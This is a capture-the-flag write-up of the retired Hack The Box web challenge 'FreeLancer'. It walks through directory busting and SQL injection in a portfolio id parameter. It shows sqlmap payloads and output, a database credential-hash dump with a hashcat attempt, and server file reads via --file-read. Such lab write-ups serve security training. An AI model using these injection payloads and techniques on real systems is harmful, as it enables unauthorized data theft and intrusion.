Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.

Challenge info

FreeLancer [by IhsanSencan]
Can you test how secure my website is? Prove me wrong and capture the flag!

The challenge

We start by launching the instance of the web application. This spawns a docker instance which is accessible without VPN.

The web applications looks like a typical portfolio website of a freelancer.
The menu items at the top make the browser scroll to the relevant section.

Main page

Looking at the contact form

The contact form at the bottom looks like an interesting first target, as this handles user input, which often might lead to some form of injection or scripting.

Trying to send something in the contact form results in an error message about the server not responding. The Name value is reflected but — even if exploitable — this would only lead to a Reflected XSS.

Screenshot of the contact form
Testing XSS in the Name field

Name is reflected, but appears to be sanitized

Busting directories

Let’s run dirbuster in the background to see if we can find anything interesting hidden elsewhere on this website.

Running dirb twice, once without extensions and once with the .php extension results in the following paths to be discovered.


Admin portal

The /administrat/ path definitely looks interesting. The name seems to reveal that this is an admin portal.

The admin portal is protected with a login form. Testing this form quickly reveals that it might be leaking information on the existance of the username, which would allow someone to bruteforce usernames based on the error message.

Administrat login form

However, running Burp with the included username list and the Honeypot-captures from SecList doesn’t seem to recover a valid username.

Look at the source

Let’s revert back to the basics of web app pentesting and have a look at the source of the index page.

Looking closely at the section near the images, it appears that there is or was a plan to include links to various portfolio items. These links have been commented out.

index source code showing portfolio.php URLs

Whenever I see IDs in a URL, I think about injection. So let’s launch SQLmap and try to see if there’s an injection point here.
And we find that this param is indeed vulnerable and that the back-end DBMS is MySQL.

$ sqlmap -u -p id
# [...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2315=2315

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3863 FROM (SELECT(SLEEP(5)))ScHp)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7171767071,0x73666f586c5448666e5862584a6e76787750764250436273565544486e544f6b4454776d6f454e54,0x716a6b7071)-- cIwp
[17:50:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12

Using some further reconnaissance, we discover that there’s a freelancer database, containing a portfolio and safeadmin tables. The first one containing some data for the portfolio pages and the latter containing a user credential.

$ sqlmap -u -p id --dbs
[17:51:55] [INFO] fetching database names                                                                                                                                                     
available databases [4]:                                                                                                                                                                      
[*] freelancer                                                                                                                                                                                
[*] information_schema                                                                                                                                                                        
[*] mysql                                                                                                                                                                                     
[*] performance_schema

$ sqlmap -u -p id -D freelancer --tables
[17:52:39] [INFO] fetching tables for database: 'freelancer'
Database: freelancer
[2 tables]
| portfolio |
| safeadmin |

$ sqlmap -u -p id -D freelancer -T safeadmin --columns
[17:54:51] [INFO] fetching columns for table 'safeadmin' in database 'freelancer'
Database: freelancer
Table: safeadmin
[4 columns]
| Column     | Type         |
| created_at | datetime     |
| id         | int(11)      |
| password   | varchar(255) |
| username   | varchar(50)  |

$ sqlmap -u -p id -D freelancer -T safeadmin -C username,password --dump
[17:55:03] [INFO] fetching entries of column(s) 'password, username' for table 'safeadmin' in database 'freelancer'
Database: freelancer
Table: safeadmin
[1 entry]
| username | password                                                     |
| safeadm  | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K |


Let’s attempt to crack this hash.

Let’s first run hashid to figure out which type of hash this is.

$ hashid
Analyzing '$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt

Since this is appears to be a bcrypt(Blowfish) hash, we run hashcat with mode 3200.

$ hashcat -a 0 -m 3200 '$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K' --force /usr/share/wordlists/rockyou.txt

Get ready to wait a looooong time on the results of this.

Back to SQL

Since we have a working SQL injection, why not try to exploit this further?

My first attempts at using SQLmaps’s --os-cmd, --os-pwn and --priv-esc failed, as did my attempt at adding a new user entry via --sql-shell.

However, there was one command that did eventually led me to success: --file-read!

$ sqlmap -u -p id --file-read /etc/apache2/sites-enabled/000-default.conf
# [...]
[18:04:52] [INFO] fetching file: '/etc/apache2/sites-enabled/000-default.conf'
do you want confirmation that the remote file '/etc/apache2/sites-enabled/000-default.conf' has been successfully downloaded from the back-end DBMS file system? [Y/n] n
files saved to [1]:
[*] /home/user/.sqlmap/output/

$ cat /home/user/.sqlmap/output/
# [...]
# Looks like the website's files are located here
DocumentRoot /var/www/html
# [...]

Getting the flag

We now know that we can read files on the filesystem, that the root of the web application is at /var/www/html and that we probably want to see the contents of the file at

$ sqlmap -u -p id --file-read=/var/www/html/administrat/panel.php
# [...]
[18:08:08] [INFO] fetching file: '/var/www/html/administrat/panel.php'
files saved to [1]:
[*] /home/user/.sqlmap/output/

$ cat /home/user/.sqlmap/output/
# [...]
    <div class="page-header">
        <h1>Hi, <b><?php echo htmlspecialchars($_SESSION["username"]); ?></b>. Welcome to our site.</h1><b>[Logout](logout.php)</b>

This was a very nice challenge that gave me much more insight into the capabilities of a tool like SQLmap.

It might be possible that the initial road to success was a different one, but I’m very pleased with the path I found to finish this challenge.